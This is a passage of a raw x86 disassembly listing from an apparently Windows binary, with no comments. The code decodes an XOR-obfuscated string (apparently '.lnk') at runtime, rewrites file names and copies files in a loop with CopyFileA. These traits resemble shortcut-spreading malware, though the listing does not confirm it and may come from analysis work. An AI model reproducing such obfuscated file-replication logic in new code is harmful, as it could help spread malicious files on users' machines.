jb 0x4626d3
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4626d8
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4626c2
cmp esi, 0xfffffffc
je 0x46270c
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x462705
cmp esi, 0xfffffffd
je 0x46270c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x462705
cmp esi, 0xfffffffe
je 0x46270c
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x462705
cmp esi, 0xffffffff
je 0x46270c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x46270c
sbb eax, eax
or eax, 1
jmp 0x46270e
xor eax, eax
test eax, eax
je 0x462730
mov eax, dword [ebp - 0x78]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x50]
push edi
call fcn.00508700
mov esi, dword [ebp - 0x20]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4626b8
jmp 0x46274e
sub edi, dword [ebp - 0x14]
cmp edi, 0xffffffff
je 0x46274e
mov esi, dword [ebp - 0x20]
push 0
lea eax, [ebp - 0x6c]
push eax
push esi
push edi
lea ecx, [ebp - 0xb8]
call fcn.0048f3f0
mov edi, dword [ebp - 0x18]
cmp byte [ebp - 0xe], 0
mov byte [ebp - 4], 0x24
je 0x462787
mov ecx, dword [ebp - 0x1c]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x46277d
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edi
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x4627bf
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4627b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x462a90
mov edx, dword [ebp - 0x6c]
jmp 0x462a67
mov ecx, esi
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4627f0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00402c40
mov byte [ebp - 4], 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x107], 0xd9dfdc81
xor ecx, ecx
movups xmmword [ebp - 0x103], xmm0
mov dword [ebp - 0xf3], 0
mov word [ebp - 0xef], 0
mov byte [ebp - 0xed], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x107], al
inc ecx
cmp ecx, 4
jb 0x462840
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x107]
mov byte [ebp - 0x103], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462880
sub ecx, edx
lea eax, [ebp - 0x107]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 0x27
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4628c2
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.00402c40
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
lea edx, [ebp - 0xb8]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x20]
cmovae ecx, edi
mov eax, dword [ebp - 0xa8]
setae byte [ebp - 0xe]
cmp dword [ebp - 0xa4], 0x10
mov dword [ebp - 0x18], edi
cmovae edx, dword [ebp - 0xb8]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x50], edx
cmp esi, eax
ja 0x4629ea
sub eax, esi
test esi, esi
jne 0x462925
xor edi, edi
jmp 0x4629cb
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x54], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.00508700
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4629e7
mov edx, dword [ebp - 0x14]
mov ecx, edi
sub esi, 4
jb 0x462963
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x462968
add ecx, 4
add edx, 4
sub esi, 4
jae 0x462952
cmp esi, 0xfffffffc
je 0x46299c
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x462995
cmp esi, 0xfffffffd
je 0x46299c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x462995
cmp esi, 0xfffffffe
je 0x46299c
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x462995
cmp esi, 0xffffffff
je 0x46299c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x46299c
sbb eax, eax
or eax, 1
jmp 0x46299e
xor eax, eax
test eax, eax
je 0x4629c0
mov eax, dword [ebp - 0x54]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x78]
push edi
call fcn.00508700
mov esi, dword [ebp - 0x20]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x462948
jmp 0x4629e7
sub edi, dword [ebp - 0x50]
cmp edi, 0xffffffff
je 0x4629e7
mov esi, dword [ebp - 0x20]
cmp dword [ebp - 0x38], 0x10
lea eax, [ebp - 0x4c]
push dword [ebp - 0x3c]
cmovae eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0xb8]
push eax
push esi
push edi
call fcn.0048f3f0
mov edi, dword [ebp - 0x18]
cmp byte [ebp - 0xe], 0
mov byte [ebp - 4], 0x27
je 0x462a20
mov ecx, dword [ebp - 0x1c]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x462a16
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edi
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x462a58
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462a4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x462a90
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462a86
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040da20
add esp, 0x18
mov esi, eax
jmp 0x462ab0
mov esi, dword [ebp - 0x18]
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x462aee
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462ae4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, esi
test esi, esi
je 0x462b3f
cmp eax, dword [ebp - 0xd4]
ja 0x462b3f
jmp 0x462b01
mov esi, dword [ebp - 0x18]
cmp dword [ebp - 0xa4], 0x10
lea ecx, [ebp - 0xb8]
push 0
cmovae ecx, dword [ebp - 0xb8]
lea eax, [ebp - 0x9c]
cmp dword [ebp - 0x88], 0x10
push ecx
cmovae eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x462b3f
mov eax, dword [ebp + 0x38]
inc dword [ebp - 0x70]
add dword [eax], esi
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x462b7d
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462b73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0x10
jb 0x462bd6
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462bcc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x80]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x84]
sub ecx, esi
mov edi, dword [ebp - 0xa0]
imul ecx
inc edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0xa0], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x461cd1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.0048eeb0
mov edi, dword [ebp - 0x70]
test edi, edi
jg 0x462cab
cmp byte [ebp - 0xd], 0
je 0x462cab
cmp dword [ebp + 0x34], 0x10
lea edx, [ebp + 0x20]
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
cmovae edx, dword [ebp + 0x20]
mov ecx, edx
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462c50
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x6c]
call fcn.00402c40
push ecx
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x29
call fcn.0040e110
mov byte [ebp - 4], 3
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x462cab
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462ca1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x84]
push eax
call fcn.00498290
mov esi, dword [ebp - 0x7c]
cmp byte [esi + 0xd], 0
jne 0x462cee
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
mov edx, dword [eax + 0x10]
jb 0x462cd2
mov eax, dword [eax]
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
push edx
cmovae ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x30]
push eax
call fcn.004921f0
add esp, 8
test eax, eax
jns 0x462cf4
mov esi, dword [0x565690]
lea eax, [ebp + 0x20]
push eax
cmp esi, dword [0x565690]
jne 0x462d09
call fcn.00489b50
mov dword [eax], edi
jmp 0x462d10
call fcn.00489b50
add dword [eax], edi
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x462d44
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462d3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dca
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x462d86
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462d7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dca
push ecx
push edx
call fcn.00504f31
add esp, 8
lea ecx, [ebp + 0x3c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
call fcn.0048eeb0
lea ecx, [ebp + 0x48]
call fcn.0048eeb0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
push eax
call fcn.00503edb
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
int3